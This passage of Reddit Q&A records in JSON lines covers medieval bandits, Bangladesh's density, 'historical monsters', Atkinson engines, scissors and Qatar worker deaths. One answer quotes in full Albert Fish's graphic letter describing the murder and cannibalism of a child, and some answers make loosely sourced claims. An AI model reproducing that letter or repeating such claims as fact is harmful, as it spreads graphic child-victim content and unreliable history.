cheaper than replacing the fence. ", "Yeah it's cheaper. It's also a lot quicker and easier to repair later. It's not as hard-wearing so it will mostly be used on roads where there is less traffic or the traffic is slower and mainly cars rather than lorries."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], []]}
{"q_id": "47pu1n", "title": "Depiction of bandits in modern media?", "selftext": "pretty much every modern day move/video game/book in a medieval setting have bandits constantly harassing travelers and villages. Were bandits ever really that big of an issue in medieval Europe, if they even existed at all?", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/47pu1n/depiction_of_bandits_in_modern_media/", "answers": {"a_id": ["d0f841k"], "score": [3], "text": ["From my post some time ago:\n\n[Works of medieval fantasy often depict \"bandits\" or \"ruffians\" ambushing travelers and living in secret hideouts. How accurate is this trope? Were bandits a serious problem across the medieval period?](_URL_3_)\n\n----\n\n >  Through outlaws, robbers, thieves and malefactors, mounted and on foot [...] wandering by day and night, so many and great homicides and robberies were done that no one with a small company could pass through those parts without being taken and killed or spoiled of his goods [...] and no religious or other person could pass without being taken or spoiled of his goods.\n\nSo proclaimed Edward I of England at the end of the 13th century, a fairly typical medieval presentation of the threats to the traveller. The question of just how typical this was has perplexed historians, if for no other reason than the basis of evidence for most of the medieval period is not statistical court records but literary writings, and,\n\n > it is precisely the literary nature of the sources that makes it so easy to exaggerate in our minds the number of medieval psychopaths. ^1\n\nThere are occasional glimpses through laws and edicts, for example Anglo-Saxon laws like [Laws of Wihtr\u00e6d of Kent](_URL_1_) which required particular stretches of forest roads to have trees cleared to a certain depth or which required travellers to stay within the road and not at the edges and not to stop, for such travellers were then no longer protected by law.\n\n\nBut, the principle sources through to the 15th century are literary: ecclesiastical chronicles. For this reason, the victims in our sources are dominated not by the day to day lives of peasantry, but by the following groups:\n\n1. religious travellers, ie pilgrims, increasingly through the high middle ages with the growing industry of pilgrimage tied to the growth of apostolic forms of observance and the increase of penitential activity\n\n2. merchants, increasing in traffic through the high middle ages as a product of the commercial revolution\n\n3. trains of nobility and bishops\n\nThe challenge is who in these literary sources can we identify as the *latrones* (robbers) and *praedones* (predators) who prey on the travellers?\n\nPopes and monarchs complained about attacks on pilgrims, and the Papacy for its part ordered certain measures to make safe places on long lonely stretches of popular pilgrimage routes - safe houses at certain distances along the way, funded by local churches and monasteries. Here these attacks seem to be not so much organized crime as opportunistic theft. ^2\n\nHowever, organized crime was an issue for travellers. There are great numbers of complaints about 'illegal tolls' being charged to pilgrims, and in fact the first 'guide book' for pilgrims warns to avoid certain bridges on the *Via Compostela*, the most popular route in the high middle ages. \n\nChronicles are filled with stories [like this one from always very entertaining abbot Guibert of Nogent writing in Normandy at the end of the 11th century](_URL_4_). Here we writes about Theudegaud,\n\n > a pestilent fellow, a bondman of the church of the Blessed Vincent, but for a long time a provost of Enguerrand of Coucy, who being set over the collection of tolls paid for crossing the bridge called Soord, sometimes watched until there were only a few travellers passing, and having robbed them of all their property, in order that they might make no complaint against him, threw them into the river with a weight round their necks. How often he had done this, God only knows. The number of the thefts and robberies being more than any one could count, the unchecked wickedness of his heart, and one as might say, was displayed also in the truculence of his looks. \n\nHere we see the reality of organized banditry in the high middle ages: nobility and their quasi-legal hangers-on. These organized bandits set up tolls on bridges, assaulted trains of other nobles and ecclesiastics with whom they had feuds, and helped to create the image of the lawless middle ages. The same nobles were the target when [King Rudolf I of Germany](_URL_0_) tried and failed to 'smoke out' the robber knights [*Raubritter*] from their [robber castles](_URL_2_) in Thuringia in 1289.\n\nSome jurisdictions had legal methods of resolving theft of moveable property. Although trial by ordeal was generally fading (or even outlawed) for many crimes by the 13th century, English law provided for trial by battle for resolving cases of theft. In the middle of the 13th century the Hampshires saw trial by battle between 'highway men' and certain nobility who had been assaulted and robbed. ^3\n\n^1 Timothy Reuter, \"The insecurity of travel\" in *Medieval Polities and Modern Mentalities* (Cambridge University Press, 2006)\n\n^2 For details of dangers to pilgrims and papal edicts in response see: Diana Webb, *Pilgrims and Pilgrimage in the Medieval West* (I.B.Tauris, 2001)\n\n^3 See Michael Clancy, \u2018Highway robbery and trial by battle in the Hampshire eyre of 1249\u2019, in R. F. Hunnisett and J. B. Post eds., *Medieval Legal Records Edited in Memory of C. A. F. Meetings, 2nd ed.* (London, 1980)"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://en.wikipedia.org/wiki/Rudolf_I_of_Germany#King_of_Germany", "http://en.wikipedia.org/wiki/Law_of_Wihtred", "http://en.wikipedia.org/wiki/Robber_baron", "https://www.reddit.com/r/AskHistorians/comments/2mx20x/works_of_medieval_fantasy_often_depict_bandits_or/cm8hsx8", "http://www.fordham.edu/halsall/basis/guibert-vita.asp#book3"]]}
{"q_id": "tsihb", "title": "Are there historical reasons for the incredible population density of Bangladesh?", "selftext": "The Indian subcontinent, particularly the Northern part, is a generally dense place, population wise. Bangladesh, however, seems [particularly populated](_URL_0_). Were there any historical pressures that drove this?", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/tsihb/are_there_historical_reasons_for_the_incredible/", "answers": {"a_id": ["c4pchjj", "c4pdlsj", "c4pgg3i", "c4pk28r"], "score": [22, 23, 4, 4], "text": ["If I recall its among the most fertile soil in the world", "A lot of the water from the Himalayas flows down through that region. It's good for farming and supporting people generally. Bangladesh is focused on the Ganges river delta. \n\nAlso, It's not easy for people to disperse from that region, Mountains to the north, desert to the west and jungle (and more mountains) to the east. Southern India isn't nearly as well supplied with water. ", "What everyone else said, plus rice. Rice can support more people i.e. see China, Korea, Japan, SE Asian countries which are more dense than their landmass would expect.", "Sidenote:\n\nAlthough Bangladesh has one of the highest population densities in the world, the overall density of the Ganges Delta compared to other deltas is not that 'impressive.' The Nile Delta's population density is about 1000/km2 and the Red River Delta in Vietnam's is 939/km2. The Ganges Delta is only about 200/km2."]}, "title_urls": [], "selftext_urls": ["http://www.wrsc.org/sites/default/files/images/2011/india_population_densities_est._1995.gif"], "answers_urls": [[], [], [], []]}
{"q_id": "18dnob", "title": "Who are some of the more interesting and lesser known historical monsters?", "selftext": "Individuals guilty of horrendous acts of violence and malice against civilizations and individuals that history tends to gloss over. \n\nEdit: I should give an example. Elizabeth Bathory comes immediately to mind. ", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/18dnob/who_are_some_of_the_more_interesting_and_lesser/", "answers": {"a_id": ["c8dvjba", "c8dw5jm", "c8dw65n", "c8dwdp6", "c8dxmqs", "c8dxya3", "c8dy2ww", "c8dy50o", "c8dy9qo", "c8dybx9", "c8dyxwd", "c8dzr33", "c8e0gan", "c8e0hvt", "c8e0ipf", "c8e0o7z", "c8e1112", "c8e11x4", "c8e29aa", "c8e2gbk", "c8e37kn", "c8e3amz", "c8e3atu", "c8e3nmc", "c8e3q5a", "c8e4zxl", "c8eajj7", "c8eb6fu", "c8eg7ht"], "score": [398, 174, 53, 86, 112, 83, 55, 97, 34, 67, 36, 42, 24, 6, 33, 13, 3, 29, 13, 2, 6, 4, 5, 4, 5, 2, 3, 2, 4], "text": ["King Leopold II, easily. He utterly decimated the Congolese people for decades. According to some estimates, his kill count ranks with individuals such as Hitler and Stalin at around 15 million. Even the absolute most conservative estimates still number at least 2 million. All for rubber and (to a lesser extent) ivory. It was one of history's most brutal examples of colonialism run rampant, but at the time (and even to this day among some circles) people still try to justify it since he did, after all, \"Christianize\" many Congolese...", "Sugihara Chiune was the Japanese Consul in Lithuania at the start of the Holocaust, and one of the escape routes for Jews was through Lithuania and Russia at the time.\n\nSugihara figured out that if he wrote them Japanese Visas, they got passage through Russia to get to Japan as well. The Japanese government, allied with Germany, recalled him when they figured out what he was doing.\n\nBut the best part was that, as the train was pulling out of the station in Lithuania to bring him back to Japan, he was signing Visas and throwing them out the windows of the train, to try ok and save as many people as possible.\n\nThey have a museum there about him now, actually. He was a cool dude.\n\nThere is also a story of a Nazi in Nanking during the Rape of Nanking, who used his political weight amongst the Japanese invaders to stop gang-rapes throughout the city, because the Japanese did not want to piss off the Nazis. Good-guy Nazi, go figure.\n\nEdit: misread \"monsters\" as \"moments\". Oops.", "Ramses II, in my opinion. That fucker had the nerve to ruin many great historical sites like a little kid with a can of spray paint. An archaeologists nightmare, that's for sure.", "Nader Shah, perhaps.  He took control of Persia, conquered many lands, developed an army as big as both sides of the seven years war combined, and sacked Delhi before going on to raze two of his own cities to the ground and set up towers of men's skulls next to them after taxation problems.  \n\nEDIT: Oh, and he had his son blinded because he thought he might have been behind an assassination attempt on him, and then later tried to have all the nobles who'd been around when he gave the order executed as well.  Blinding wasn't that unusual, though, whereas building towers of skulls was.  That was partially because his hero Tamerlane supposedly did that (I haven't studied him much).  ", "I know you don't mean actual monsters, but when I read the post title, I got excited. (Plus, surely historical monsters can be actual monsters and not just people? :)) So, for those interested, I'd like to put forward [the Tarasque](_URL_1_). It's a beast that terrorized a village in Provence until Saint Martha, recently arrived from the Holy Land after Jesus's death, tamed him and brought him to town. That night, the frightened townspeople killed the beast. Martha then converted  everyone to Christianity, and they changed the town name to Tarascon. The Tarasque is still on their [coat of arms](_URL_0_). ", "Shiro Ishii. I'll just leave these wikipedia links here:\n\n_URL_1_\n\n_URL_0_\n\nTL;DR He ran a horrifying base in China during WWII that was did everything from vivisection to freezing people's body parts to germ warfare. Oh, and did I mention they did all this to civilians? And that the germ warfare techniques were then used to kill something like 400,000 Chinese civilians?\n", "Andrew Jackson is well known, but his horrendous acts of violence against various Native American tribes are glossed over. ", "[Albert Fish](_URL_0_), child rapist and cannibal. He even wrote a letter to one of the victim's mothers. **This is NSFW.**\n\n > Dear Mrs. Budd. In 1894 a friend of mine shipped as a deck hand on the Steamer Tacoma, Capt. John Davis. They sailed from San Francisco for Hong Kong, China. On arriving there he and two others went ashore and got drunk. When they returned the boat was gone. At that time there was famine in China. Meat of any kind was from $1\u20133 per pound. So great was the suffering among the very poor that all children under 12 were sold for food in order to keep others from starving. A boy or girl under 14 was not safe in the street. You could go in any shop and ask for steak\u2014chops\u2014or stew meat. Part of the naked body of a boy or girl would be brought out and just what you wanted cut from it. A boy or girl's behind which is the sweetest part of the body and sold as veal cutlet brought the highest price. John staid there so long he acquired a taste for human flesh. On his return to N.Y. he stole two boys, one 7 and one 11. Took them to his home stripped them naked tied them in a closet. Then burned everything they had on. Several times every day and night he spanked them \u2013 tortured them \u2013 to make their meat good and tender. First he killed the 11 year old boy, because he had the fattest ass and of course the most meat on it. Every part of his body was cooked and eaten except the head\u2014bones and guts. He was roasted in the oven (all of his ass), boiled, broiled, fried and stewed. The little boy was next, went the same way. At that time, I was living at 409 E 100 St. near\u2014right side. He told me so often how good human flesh was I made up my mind to taste it. On Sunday June the 3, 1928 I called on you at 406 W 15 St. Brought you pot cheese\u2014strawberries. We had lunch. Grace sat in my lap and kissed me. I made up my mind to eat her. On the pretense of taking her to a party. You said yes she could go. I took her to an empty house in Westchester I had already picked out. When we got there, I told her to remain outside. She picked wildflowers. I went upstairs and stripped all my clothes off. I knew if I did not I would get her blood on them. When all was ready I went to the window and called her. Then I hid in a closet until she was in the room. When she saw me all naked she began to cry and tried to run down the stairs. I grabbed her and she said she would tell her mamma. First I stripped her naked. How she did kick \u2013 bite and scratch. I choked her to death, then cut her in small pieces so I could take my meat to my rooms. Cook and eat it. How sweet and tender her little ass was roasted in the oven. It took me 9 days to eat her entire body. I did not fuck her tho I could of had I wished. She died a virgin.\n", "I'll offer up Yahya Khan and the Pakistani military response to the movement for Bangladeshi independence in 1971.  *Operation Searchlight*, which was to quell Bengali nationalism and non-Islam, led to a military occupation of Bangladesh and massive atrocities committed by the army, largely against Hindus.  Torture and rape were widespread.  Roughly 10 million refugees fled to India.  Conservative estimates put the death toll at 1 million, some estimates go as high as 3 million.", "Henry Ford, from Ford motor companies, put out anti-semitic literature, and gave Hitler $70,000 to fund his failed Beer Hall Putsch.\n\nHenry Ford is quoted in Mein Kampf, and his picture hung in Hitler's office.\n\n\"Hitler awarded Henry Ford the Grand Cross of the German Eagle, a Nazi citation reserved for foreign men of distinction. It was presented to Ford on his 75th birthday in his Dearborn office. The award brought immediate concern from Jewish leaders, which led Ford to say that his acceptance of the medal did not mean he had sympathy for Nazism\" _URL_0_", "Gilles de Rais, a fifteenth century knight and companion-in-arms to Joan of Arc. He dabbled in the occult and was a serial child murderer (his victims possibly numbered in the hundreds). I first heard of him from J.K. Huysman's novel 'La B\u00e1s' or 'The Damned'  which described some of those murders which often involved horrifying rape and torture. It is a great book, but as I say, it's a novel. I have read before about some doubt around his confession and the claims against him but I don't have anything to hand here now and maybe someone else could elaborate if they know? He is also one of the possible inspirations for the folktale character Bluebeard.\nEDIT: [Here is the wikipedia entry for more info](_URL_0_)", "Oliver Cromwell. Well known in the UK and Republic of Ireland for his bloody suppression of the Irish Revolt during the War of the Three Kingdoms, but relatively obscure here in the U.S.", "[Lu Zhi](_URL_0_) was pretty nasty, whilst regent for her son she had a concubine of the previous emperor tortured to death by cutting off her arms and legs, gouging out her eyes and removing her tongue, and then imprisoning her in either a toilet or a pigsty, sources differ. She lived for a few days before dying, and the sight of her made the empress's son ill for a year. ", "Check out [this book](_URL_0_).  It is full of brief 2-3 page profiles of a lot of very, very bad people.  A lot of them are well known (Hitler, Amin, Pol Pot), but there's a ton of people I'd never heard of.  \n", "Zhang Xianzhong? Waged a campaign of terror in Sichuan province that depopulated the region and is estimated to have killed somewhere around a third of the population (about a million people). (We're not completely sure because contemporary sources like the Mingshi list him as having killed somewhere around 600 million, four times China's population at the time, which was probably not the case.)\n\nQuoting Andrew Sinclair, [Anatomy of Terror](_URL_0_):\n > \n > Having destroyed the educated, Chang set about murdering the merchants, then the women, then the officials. Finally he gave orders that his own soldiers should slaughter each other. He ordered the feet of his officer\u2019s wives to be cut off and to make a mound of them. On top of the pile he placed the feet of his favoured concubine. He tallied the ears and feet which his bodyguard hacked from the bodies of villagers from the remote districts, and her stated his reasons for annihilation on a stone tablet which he caused to be erected in his memory:\n > \n > Heaven brought forth innumerable things to support man.\n\n > Man has not brought forth one thing to recompense heaven.\n\n > Kill! Kill! Kill! Kill! Kill! Kill! Kill!\n\ne: reference [here](_URL_1_) since I can't find text from the book anywhere else", "[Bannestre Tarleton](_URL_0_) advocated the usage of \"Irish tactics\" (what the 19th century called \"total war\") on the American populace during the American Revolution. He repeatedly attacked surrendering troops. After the Revolution, he led the fight in defense of slavery as a member of Parliament.", "Solano Lopez it takes a special kind of person to launch a doomed war, refuse to surrender, kill all troops who do so, conscript old and young as adult male population is destroyed all the while feasting on caviar and champagne in the jungle forcing. Oh and kill your family including your 70 year old mother for giving birth to you out of wedlock, he left Paraguay with almost no men and the casualty to no. of participant ratio for his army is the worst ever.", "This probably doesn't belong in the same category as the other monsters but the contributions of Thomas Midgley have had a monstrous effect on the environment.  First, as an engineer at GM, he came up with the idea of adding TEL (ethyl lead) to gasoline to prevent engine knock.  And even though he himself developed lead poisoning from his work, he lied about its safety to the general public.\n\nBut that's not all.  He then went on to work on problems with refrigeration systems and in the process, developed the first ozone-depleting chlorofluorocarbon, Freon.", "[Nathan Bedford Forrest.](_URL_0_) He massacred black Union PoWs during the war and terrorized free blacks afterwards. So it comes as no surprise that he remains a folk hero in the American South.", "The Pogroms of Russia. Basically all the townsfolk in a village would get all of the Jews out of their homes and beat them senseless. I remember reading one account that took place in Kiev where they jumped on pregnant women, causing many abortions. They also eviscerated some of the men. There was so much gore and violence that the streets smelled of blood and guts for days. ", "[Ante Paveli\u0107](_URL_0_) is glossed over in history books, is he not? \n\nHe was the leader of the Croatia fascist state during World War II. Hundreds of thousand dead Serbs, Roma, Jews, Croats, Muslims, Slovenes in the Jesenovac concentration camp. They didn't use gas, they used [srbosjek](_URL_1_) which basically means \"Serbcutter\" and guards there would compete who can cut more throats in one day. ", "Pope Stephen VI. I don't know how universally terrible he was but he was responsible for the [Cadaver Synod](_URL_0_) where he dug up a previous Pope's corpse and put it on trial... twice. It's kind of hard to go poking around the annals of the  history of Catholicism without stubbing a toe or two on some real winners.", "[Andronikos Komnenos](_URL_0_) \n\nOnly he could have single-handedly reversed a century of progress by killing 10,000 Latins in the Latin Quarter and deposing the rightful heir to the throne, Alexios II, in addition to attempting to wipe out the entirety of Byzantine aristocracy and murdering thousands of his own countrymen just because of his own personal paranoia. Oh and did I mention he was able to conjure up this whirlwind of ignorance and destruction in the span of just 2 years? \n\nAnd that's not all! The turmoil caused by Andronikos led directly to the sack of Constantinople by the 4th Crusade in 1204, and ultimately, the fall of the thousand-year Byzantine Empire in 1453.\n\nYeah, he doesn't even deserve to have the last name Komnenos.", "There were many monsters among Spanish conquerors in the Americas, but Lope de Aguirre overshadows most them with his cruelness. Some of Aguirre's nicknames include \"The Madman\", \"The Tyrant\" and \"The Wrath of God\".\n\nHe is particularly famous for his journey in search of El Dorado that took him from Peru, through the Amazon and all the way to the Atlantic Ocean, then to Margarita Island and halfway through Venezuela leaving a trail of fear and death along the way. \n\nEdit: I realized that the description speaks about \"acts of violence and malice... that history tends to gloss over\". It's not the case with Lope de Aguirre, but since Latin American history gets so little coverage around here I think it can be a nice addition to the list.", "Dr. Josef Mengele, the Angel of Auschwitz fits the description pretty well. He is relatively well know, but the experiments he did on the the prisoners of Auschwitz-Birkenau, particularly those involving the sterilization of the handicapped and the Sinti and Roma (gypsies) were particularly deranged.  \n\nHe would perform experiments on children, including amputation, injecting chemicals into the eyes in the attempt to change the color, and I believe that he tried to create conjoined twins by sewing two twin boys together, but I can't find the source right now.\n\nHe also had an obsession with twins and dwarfs, and he kept an entire family, the [Ovitz Family](_URL_0_), seven of whom were dwarfs, in a segregated housing in order to study their genes.  They were treated more humanely than the other prisoners, only because dwarfs were harder to find and \"collect\".  \n\nHe was responsible for choosing who went to the gas chambers during selection, and would often kill many of the individuals he saved for experimentation just for the pleasure of it.  He managed to escape before Auschwitz was liberated, and was never tried for his crimes.  He may have continued them in Argentina following the war in areas that had a high concentration of twin births. \n\n**Tl:DR:** He was directly responsible for hundreds, if not thousands of deaths, may of which were just for the pleasure of it, though under the guise of scientific experimentation. I personally believe he was one of the sickest individuals to come about during a sick time in history", "Everyone is naming historical leaders in the political arena but if you thought serial killers were monsters today, they were considerably worse back then if only in terms of body count.\n\nThe Thuggee cult killed anywhere from 50,000 to a million people in its 2 century lifespan with systematic murder.  \n\nOne of its leaders, [Behram](_URL_0_) supervised nearly 1,000 murders and personally strangled at least 125.", "CIA director Richard Helms who was a key figure for operation MKULTRA and ordered all files destroyed in an attempt to cover it up. MKULTRA was a series of highly unethical scientific experiments using torture, hallucinogens, and chemical agents on abducted us citizens and us soldiers without their consent. Fun fact: The unibomber was part of MKULTRA and it is believed his insanity was caused by the experiments. \n\n**EDIT:** Here is the [link](_URL_0_)", "Pol Pot and Suharto. Modern day, but still relatively glossed over.", "When Ranavalona I of Madagascar came to power in 1828 after seizing the throne by force, she executed potential challengers to her position by locking them in prison cells and starving them to death. Soon after, she enacted a policy of \u201cTrial by Ordeal\u201d that replaced the previous legal system as a means of judging most crimes, where the accused would be made to ingest poison from the native tangena shrub along with three pieces of chicken. If the accused vomited up the three pieces of chicken, they were deemed innocent by celestial judgement. As you might expect, most people died from the effects of the poison itself and the survival rate was only about 30%. Often, residents could simply accuse others of petty crimes and force those accused to undertake the trial which on a large scale led to around 100,000 deaths. Contemporary accounts estimate that as many as 20% of the population of Madagascar died that way under her rule.\n\nRanavalona also persecuted christians by jailing them or by forcing them to undertake the trial. On one occasion she publically burned a group at the stake as warning to those who continued to profess to follow the religion. She also executed challengers to her rule by throwing them off of cliffs or by forcing them to wade through malaria infested swamps. Rebels would often be tortured by a method of 'progressive amputation'.\n\nShe is also notable for being one of the few African leaders who successfully repelled colonial powers. After she literally closed Madagascar\u2019s ports to the French and British, her army defeated multiple invasion attempts and the island remained independent until a later force took control of the kingdom some 30 years after her (peaceful) death. Her legacy is confusing in that respect, but it's difficult to deny that a large number of Madagascans died under her.\n"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], ["http://www.terresetcivilisations.fr/blason_tarascon.png", "http://www.net-provence.com/villes/tarascon/tarasque.jpg"], ["http://en.wikipedia.org/wiki/Shir%C5%8D_Ishii", "http://en.wikipedia.org/wiki/Unit_731"], [], ["http://en.wikipedia.org/wiki/Albert_Fish"], [], ["http://voices.yahoo.com/henry-fords-disturbing-link-nazi-germany-1332859.html?cat=37"], ["http://en.wikipedia.org/wiki/Gilles_de_Rais"], [], ["http://en.wikipedia.org/wiki/Empress_Dowager_L%C3%BC"], ["http://www.amazon.com/Monsters-Historys-most-evil-women/dp/1847249515"], ["http://www.pickabook.co.uk/cgi/bkdetail.php?isbn=0330492608", "http://bloodandtreasure.typepad.com/blood_treasure/2004/09/further_chronic.html"], ["http://en.wikipedia.org/wiki/Banastre_Tarleton"], [], [], ["http://en.wikipedia.org/wiki/Nathan_Bedford_Forrest"], [], ["http://en.wikipedia.org/wiki/Ante_Paveli%C4%87", "https://www.google.si/search?q=srbosjek&amp;um=1&amp;ie=UTF-8&amp;hl=sl&amp;tbm=isch&amp;source=og&amp;sa=N&amp;tab=wi&amp;ei=T8MaUd6zGszZsga-iIDwCg&amp;biw=1680&amp;bih=927&amp;sei=UcMaUYLxHI3BtAarjIGwBw"], ["http://en.wikipedia.org/wiki/Cadaver_Synod"], ["http://en.wikipedia.org/wiki/Andronikos_I_Komnenos"], [], ["http://en.wikipedia.org/wiki/Ovitz_family"], ["http://en.wikipedia.org/wiki/Thug_Behram"], ["http://en.wikipedia.org/wiki/Project_MKUltra"], [], []]}
{"q_id": "3dp9ge", "title": "what is an atkinson cycle engine?", "selftext": "Recently read about the new Toyota Tacoma that's supposed to have an Atkinson cycle engine which I think is similar to something they use in the Prius. How does it work and why use it?", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/3dp9ge/eli5what_is_an_atkinson_cycle_engine/", "answers": {"a_id": ["ct7cwkd"], "score": [5], "text": ["it has a larger expansion ratio than compression ratio. \n\nin a normal gas engine (otto cycle), the compression and expansion ratios are the same.  The piston starts at the top, where the intake valve opens allowing air and fuel in, it then goes down (to the bottom) drawing in fresh air/fuel all the while, it goes back up compressing the air/fuel, explodes, goes down by the pressure of the exploded air/fuel (thereby doing work) until it reaches the bottom again.  at this point the exhaust valve opens, venting the burned air/fuel to the exhaust pipe.  The problem is that this vented gas was still under pressure when the valve opened.  It could have done more work, but it was already at the bottom of its stroke.  That energy shoots out the tail pipe.  \n\nIn an atkinson cycle, the piston again starts at the top drawing in air and fuel but the intake valve closes before it reaches the bottom.  It goes back up explodes and goes all the way down before opening the exhaust.  This time there is very little pressure and very little wasted energy.\n\nI hope that made some sense.  They use it because it saves fuel. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "efe6qp", "title": "how does the scissor glide when you cut a paper and why does it glide only after you\u2019ve cut a little bit?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/efe6qp/eli5_how_does_the_scissor_glide_when_you_cut_a/", "answers": {"a_id": ["fbzwqio", "fbzwx4t", "fbzxc5k", "fbzxg3x", "fbzy65d", "fc00anx", "fc0bets", "fc0ckwf", "fc0e5iq", "fc0gxxp", "fc0mu30"], "score": [31, 59, 2, 12, 3091, 107, 4, 7, 3, 2, 2], "text": ["I have struggled with this technique my whole life. Not sure if it's because I'm a lefty or just incompetent, but would love an aside ELI5 if there is any credence to that.\n\n As far as the question in general: kinetic friction versus static maybe?", "I think it only works when the paper is taut. Also why the beginning is tricky, as the outside edge is seldom tight.", "I wonder if it's similar to why when you cut a small amount of canvas, you can tear it easily.", "Blades cut by tearing along a very fine point essentially. The smaller the point, the \"sharper\" it is. If the blade is sharp enough, it won't take much motion, or pressure, to get it to grab onto a small part of the paper and cleanly rend it, its also why you can slowly close the sissors while sliding them through a sheet and get a good result if they aren't super sharp since the motion assists in the cutting. If the scissors aren't sharp, the lil Nick's in the blade are big enough to catch on the paper fibers and force a full stop. \n  \nThis is why if you take a blade and press it straight down on something, like a tomato for example, it would just mash it until it pinched between the blade and cutting surface.", "**TL;DR:** *A loosely held paper edge has some thickness, so hits scissor blades with too many paper fibres at once and causes more of a crushing than cutting action; tight paper and scissors that are already traveling create lots-of-scissor-blade-edge-to-little-bit-of-fibre contact and replace that with clean, slicing force instead.*\n\n*- - -*\n\nTake a really close look at paper and you'll see that it's made up of closely interwoven fibres. Better paper has more and longer fibres, but most of it is a mesh of randomly stuck-together incredibly thin pieces of, well, wood. And it has a little thickness to it, not much, but a little.\n\nSo if you grab a pair of reasonably sharp scissors and put them at the edge of a piece of loosely held paper, there's not a very clean contact at that edge where the fibres of the paper move along the scissors' shearing edge to the point where they get cut. It's kind of like cutting steak by pressing your knife down on it instead of sawing; the meat gets squashed a little rather than severed because too many fibres in the meat are interacting with too little edge of your knife. Same with the paper because even though it's very thin, it still has SOME thickness to it. So it's hard to get your scissors and gliding motion started, and you end up with a crinkled little ripped area on your paper.\n\nTwo ways to fix this are to hold the paper taut, so there's a very clean contact between both the top and bottom fibres at the paper's edge and the two cutting surfaces of the scissors, or to make a small cut and have the scissors build up some velocity and then carry that through into a glide. Either way causes the fibres at the top and bottom of the paper sheet to travel ALONG the cutting blade surfaces of the scissors while preventing too many fibres from jamming against the cutting surfaces all at once.\n\nNow you are getting LOTS of cutting surface handling a LITTLE bit of paper fibres at once, so they can slice rather than crush, and that's much much better for cutting. And then you get that satisfying *whi-i-i-i-ish* of the scissors travelling effortlessly in a perfect straight line, and the crowd goes wild!\n\nP.S. this is also why scissors with a little damage to the blades really suck at glide-cutting. Even the tiniest of dents in the cutting surface becomes a place where lots of fibres can clog up, and suddenly you're ripping things worse than a competitive event at an all-you-can-eat chili buffet.", "You can cut loose paper with a sharp knife.\n\nIt is slicing vs cutting... As in straight down cutting, like an axe.\n\nIt comes down to basic physics; although it's easier to maintain a slice or a 'run' with scissors because the angle of the blades forces the paper into a tight angle, but is still less 'slicey' than a sharp knife.\n\nThat is why you have to 'start' the run with a snip, you need to put some tension into the paper, tension aids in cutting.\n\nThere was an amazing answer by another user, but I feel this is more concise and ELI3 level - we're just cutting to the meat of the subject, it's about the physics of how a knife cuts vs scissors. Though I'm sure really sharp scissors could cut a run without needing a starting snip.", "Sort of related, but I've always wondered what happens at a microscopic level when we cut something. I usually think of it terms of a knife cutting skin. Does the blade separate the cells, or does it crush them? Or does friction from the blade cause the cells in its path to be in essence, burned away?", "On a similar note. Why can't I use scissors with my left hand? I am left handed and when I try to use scissors the paper just bends. I swap to my right hand and it just cuts so so easily. It's not that complicated is it? 2 blades coming together. Simple right? Apparently not if your left handed. Fml.", "I bet its about stress concentrators. Look it up. The concept is useful to keep clothing not tear too easily or make old bridges tougher, or used the other way by making food packaging easier to tear open.\n\nThink of the atoms as a chain or a rope that transfers forces from one end to the other. When a structure has different parts of it that differs rapidly, e.g. a slab with a square hole compared to a slab with a round hole, the chains cannot react quickly enough so at the corners of a square hole, some chains need to pick up the slack and transfer the forces that was supposed to be carried by the chains of atoms beside it. So directly beside an irregularity, the stresses are amplified.\n\n_URL_0_\n\nMaybe Im wrong but its an interesting thing to share", "It's because after a cut you're pushing against fibers that are partially severed. It's like a head start with a chain reaction, whereas when you first start the scissors have to be incredibly sharp to start this reaction", "What you're looking for is called the coefficient of static friction. Once the scissors are moving, the dynamic coefficient is relatively low, compared with the static force necessary to cut the paper initially."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], [], [], [], [], ["https://en.m.wikipedia.org/wiki/Stress_concentration"], [], []]}
{"q_id": "37cldt", "title": "why are so many people dying building in qatar?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/37cldt/eli5_why_are_so_many_people_dying_building_in/", "answers": {"a_id": ["crlibqv", "crliedu", "crlpp35", "crlqco2"], "score": [46, 2, 3, 12], "text": ["Largely because it is really really hot and while local regulations state that workers shouldn't work during the hottest hours of the day that has been forgotten regarding the workers from abroad. That combined with long hours and general hard labour is leading to lots of people dying of exhaustion. ", "Just to name a few things poor working conditions, unregulated construction practices and migrant workers completing the work doing things that may be very dangerous so they can get a small wage.  All this with the added extreme heat of Qatar.  Estimates are over 1200 workers have died since construction has started.  ", "This isn't JUST Qatar, all those huge, gleaming cities in the Arabian Peninsula area are mainly built by essentially slave labor, with almost no health and safety oversight by the government. They import masses of workers from poor countries like Bangladesh, take away the worker's passports, force them to live in prison-like company housing and then work them until they're dead or used up. Always lots more where they came from. Even if the construction companies are breaking actual laws, nobody in the government gives a rat's ass, because these people are just filthy foreign trash.\n\nThis has been going on since the 90s or so, but the Teeming Masses only get (briefly) excited about it when there's some popular issue, like a sports match, involved.\n\nWhen conservatives start going on about OSHA, about \"job-killing regulations,\" THIS is what they're talking about, and America has been there, done that. In the 19th century and before, people were just meat machines for corporations to use up and throw away. People fought and even died for decades to get those \"job-killing regulations\" passed.", "The death rate is high because it refers to all deaths, including those from natural causes, and there are a lot of workers there - around 1.4 million of them. When you have that many people, a few hundred deaths a year is not remarkable. Even the Indian Embassy says the same: [\"Considering the large size of our community, the number of deaths is quite normal,\u201d the embassy said in a statement issued on Thursday.](_URL_1_)\n\nThe death rates in the hundreds frequently quoted refers to all migrant workers across the whole country, including those not working on world cup sites, and including deaths from natural causes. From The Guardian, regarding the data for Indian workers:\n\n >  [Since the World Cup was awarded to Qatar in December 2010, there have been 717 recorded Indian deaths. However, the Indian embassy did not provide further details on who those individuals were, their cause of death or where they worked.](_URL_2_)\n\n[There's 550,000 Indians and 400,000 Nepal immigrants in Qatar](_URL_0_). So the latest figures for Nepal gives an annual death rate of 47.75 per 100,000. For Indians gives an annual death 